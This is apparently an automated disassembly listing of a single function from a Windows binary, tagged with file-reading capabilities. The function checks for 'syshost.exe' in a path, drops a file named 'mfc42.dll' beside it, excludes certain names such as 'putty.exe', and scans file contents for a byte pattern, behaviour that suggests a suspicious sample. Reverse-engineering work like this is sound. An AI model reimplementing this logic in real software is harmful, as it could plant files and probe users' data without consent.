Function at 0x4010eb
Capabilities:
Get file size
Read file on windows

Disassembly:
jmp 0x403720
sub esp, 0x224
push ebx
mov ebx, dword [sym.imp.MSVCRT.dll_wcsstr]
push ebp
push esi
mov esi, dword [esp + 0x234]
push edi
push str._syshost.exe
push esi
call ebx
mov ebp, dword [sym.imp.KERNEL32.dll_CreateFileW]
add esp, 8
test eax, eax
je 0x4037b0
mov ecx, 0x81
xor eax, eax
lea edi, [esp + 0x2e]
mov word [esp + 0x2c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esp + 0x2c]
push esi
push eax
call dword [sym.imp.MSVCRT.dll_wcscpy]
lea ecx, [esp + 0x34]
push 0x5c
push ecx
call dword [sym.imp.MSVCRT.dll_wcsrchr]
lea edx, [esp + 0x3c]
push str.mfc42.dll
push edx
mov word [eax], 0
call dword [sym.imp.MSVCRT.dll_wcscat]
add esp, 0x18
lea eax, [esp + 0x2c]
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push eax
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.Roamingee
push esi
call ebx
add esp, 8
test eax, eax
jne 0x4039d3
push 0x410950
push esi
call ebx
add esp, 8
test eax, eax
jne 0x4039d3
push str.AFXDK_S1
push esi
call ebx
add esp, 8
test eax, eax
jne 0x4039d3
push str.putty.exe
push esi
call ebx
add esp, 8
test eax, eax
je 0x403805
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x224
ret
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push esi
call ebp
mov edi, eax
cmp edi, 0xffffffff
je 0x4039b8
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
cmp ebx, 0x500000
mov dword [esp + 0x18], ebx
jbe 0x403842
mov ebx, 0x500000
mov dword [esp + 0x18], ebx
push 4
lea ecx, [ebx + 0x400]
push 0x3000
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea edx, [esp + 0x28]
push 0
mov esi, eax
push edx
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor ebp, ebp
test ebx, ebx
mov dword [esp + 0x14], ebp
jbe 0x4039aa
mov eax, 0x5000
mov edi, esi
sub eax, esi
mov dword [esp + 0x10], edi
mov dword [esp + 0x20], eax
xor eax, eax
xor edx, edx
mov al, byte [edi]
mov dl, byte [edi + 2]
lea ecx, [eax + 4]
cmp edx, ecx
jne 0x403998
xor ecx, ecx
lea edx, [eax + 1]
mov cl, byte [esi + ebp + 4]
cmp ecx, edx
jne 0x403998
xor ecx, ecx
lea edx, [eax - 2]
mov cl, byte [esi + ebp + 6]
cmp ecx, edx
jne 0x403998
xor ecx, ecx
add eax, 0xfffffffd
mov cl, byte [esi + ebp + 8]
cmp ecx, eax
jne 0x403998
mov edx, dword [esp + 0x20]
lea ecx, [edx + edi]
cmp ecx, ebx
mov dword [esp + 0x1c], ecx
jae 0x403998
mov edx, 0xc8
add edi, 0x5000
sub edx, esi
mov dword [esp + 0x24], edx
xor eax, eax
xor ebx, ebx
mov al, byte [edi]
mov bl, byte [edi + 2]
lea ebp, [eax + 4]
cmp ebx, ebp
jne 0x40397e
xor ebx, ebx
lea ebp, [eax + 1]
mov bl, byte [edi + 4]
cmp ebx, ebp
jne 0x40397e
xor ebx, ebx
lea ebp, [eax - 2]
mov bl, byte [edi + 6]
cmp ebx, ebp
jne 0x40397e
xor ebx, ebx
add eax, 0xfffffffd
mov bl, byte [edi + 8]
cmp ebx, eax
jne 0x40397e
lea ebp, [edx + edi]
mov eax, ecx
cmp ecx, ebp
jae 0x40397e
xor ecx, ecx
xor edx, edx
mov cl, byte [eax + esi]
mov dl, byte [esi + eax + 2]
lea ebx, [ecx - 4]
cmp edx, ebx
jne 0x403971
xor ebx, ebx
lea edx, [ecx - 1]
mov bl, byte [esi + eax + 4]
cmp ebx, edx
jne 0x403971
xor edx, edx
lea ebx, [ecx + 2]
mov dl, byte [esi + eax + 6]
cmp edx, ebx
jne 0x403971
xor edx, edx
add ecx, 3
mov dl, byte [esi + eax + 8]
cmp edx, ecx
je 0x4039c5
inc eax
cmp eax, ebp
jb 0x403938
mov edx, dword [esp + 0x24]
mov ecx, dword [esp + 0x1c]
mov ebx, dword [esp + 0x18]
inc ecx
inc edi
cmp ecx, ebx
mov dword [esp + 0x1c], ecx
jb 0x4038fb
mov ebp, dword [esp + 0x14]
mov edi, dword [esp + 0x10]
inc ebp
inc edi
cmp ebp, ebx
mov dword [esp + 0x14], ebp
mov dword [esp + 0x10], edi
jb 0x403890
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x224
ret
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x224
ret